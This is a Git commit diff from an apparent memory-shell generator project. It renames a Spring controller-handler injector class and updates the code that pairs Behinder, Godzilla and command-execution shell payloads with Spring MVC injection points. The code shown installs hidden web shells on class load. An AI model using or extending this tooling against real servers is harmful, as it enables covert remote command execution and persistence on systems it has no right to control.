mirror of
https://github.com/ReaJason/MemShellParty.git
synced 2026-09-21 22:50:42 +08:00
refactor: rename class
This commit is contained in:
@@ -1,17 +1,15 @@
|
||||
package com.reajason.javaweb.memshell;
|
||||
|
||||
import com.reajason.javaweb.memshell.config.ShellTool;
|
||||
import com.reajason.javaweb.memshell.springmvc.behinder.BehinderControllerHandler;
|
||||
import com.reajason.javaweb.memshell.springmvc.behinder.BehinderInterceptor;
|
||||
import com.reajason.javaweb.memshell.springmvc.command.CommandControllerHandler;
|
||||
import com.reajason.javaweb.memshell.springmvc.command.CommandInterceptor;
|
||||
import com.reajason.javaweb.memshell.springmvc.godzilla.GodzillaControllerHandler;
|
||||
import com.reajason.javaweb.memshell.springmvc.godzilla.GodzillaInterceptor;
|
||||
import com.reajason.javaweb.memshell.springmvc.injector.SpringControllerHandlerInterceptor;
|
||||
import com.reajason.javaweb.memshell.springmvc.injector.SpringControllerHandlerInjector;
|
||||
import com.reajason.javaweb.memshell.springmvc.injector.SpringInterceptorInjector;
|
||||
import org.apache.commons.lang3.tuple.Pair;
|
||||
|
||||
import java.util.List;
|
||||
import java.util.Map;
|
||||
|
||||
/**
|
||||
@@ -29,8 +27,8 @@ public class SpringMVCShell extends AbstractShell {
|
||||
return Map.of(
|
||||
INTERCEPTOR, Pair.of(BehinderInterceptor.class, SpringInterceptorInjector.class),
|
||||
JAKARTA_INTERCEPTOR, Pair.of(BehinderInterceptor.class, SpringInterceptorInjector.class),
|
||||
CONTROLLER_HANDLER, Pair.of(BehinderControllerHandler.class, SpringControllerHandlerInterceptor.class),
|
||||
JAKARTA_CONTROLLER_HANDLER, Pair.of(BehinderControllerHandler.class, SpringControllerHandlerInterceptor.class)
|
||||
CONTROLLER_HANDLER, Pair.of(BehinderControllerHandler.class, SpringControllerHandlerInjector.class),
|
||||
JAKARTA_CONTROLLER_HANDLER, Pair.of(BehinderControllerHandler.class, SpringControllerHandlerInjector.class)
|
||||
);
|
||||
}
|
||||
|
||||
@@ -39,8 +37,8 @@ public class SpringMVCShell extends AbstractShell {
|
||||
return Map.of(
|
||||
INTERCEPTOR, Pair.of(CommandInterceptor.class, SpringInterceptorInjector.class),
|
||||
JAKARTA_INTERCEPTOR, Pair.of(CommandInterceptor.class, SpringInterceptorInjector.class),
|
||||
CONTROLLER_HANDLER, Pair.of(CommandControllerHandler.class, SpringControllerHandlerInterceptor.class),
|
||||
JAKARTA_CONTROLLER_HANDLER, Pair.of(CommandControllerHandler.class, SpringControllerHandlerInterceptor.class)
|
||||
CONTROLLER_HANDLER, Pair.of(CommandControllerHandler.class, SpringControllerHandlerInjector.class),
|
||||
JAKARTA_CONTROLLER_HANDLER, Pair.of(CommandControllerHandler.class, SpringControllerHandlerInjector.class)
|
||||
);
|
||||
}
|
||||
|
||||
@@ -49,8 +47,8 @@ public class SpringMVCShell extends AbstractShell {
|
||||
return Map.of(
|
||||
INTERCEPTOR, Pair.of(GodzillaInterceptor.class, SpringInterceptorInjector.class),
|
||||
JAKARTA_INTERCEPTOR, Pair.of(GodzillaInterceptor.class, SpringInterceptorInjector.class),
|
||||
CONTROLLER_HANDLER, Pair.of(GodzillaControllerHandler.class, SpringControllerHandlerInterceptor.class),
|
||||
JAKARTA_CONTROLLER_HANDLER, Pair.of(GodzillaControllerHandler.class, SpringControllerHandlerInterceptor.class)
|
||||
CONTROLLER_HANDLER, Pair.of(GodzillaControllerHandler.class, SpringControllerHandlerInjector.class),
|
||||
JAKARTA_CONTROLLER_HANDLER, Pair.of(GodzillaControllerHandler.class, SpringControllerHandlerInjector.class)
|
||||
);
|
||||
}
|
||||
}
|
||||
+3
-3
@@ -14,10 +14,10 @@ import java.util.zip.GZIPInputStream;
|
||||
* @author ReaJason
|
||||
* @since 2024/12/22
|
||||
*/
|
||||
public class SpringControllerHandlerInterceptor {
|
||||
public class SpringControllerHandlerInjector {
|
||||
|
||||
static {
|
||||
new SpringControllerHandlerInterceptor();
|
||||
new SpringControllerHandlerInjector();
|
||||
}
|
||||
|
||||
public String getUrlPattern() {
|
||||
@@ -32,7 +32,7 @@ public class SpringControllerHandlerInterceptor {
|
||||
return "{{base64Str}}";
|
||||
}
|
||||
|
||||
public SpringControllerHandlerInterceptor() {
|
||||
public SpringControllerHandlerInjector() {
|
||||
try {
|
||||
Object context = getContext();
|
||||
Object interceptor = getShell();
|
||||
Reference in New Issue
Block a user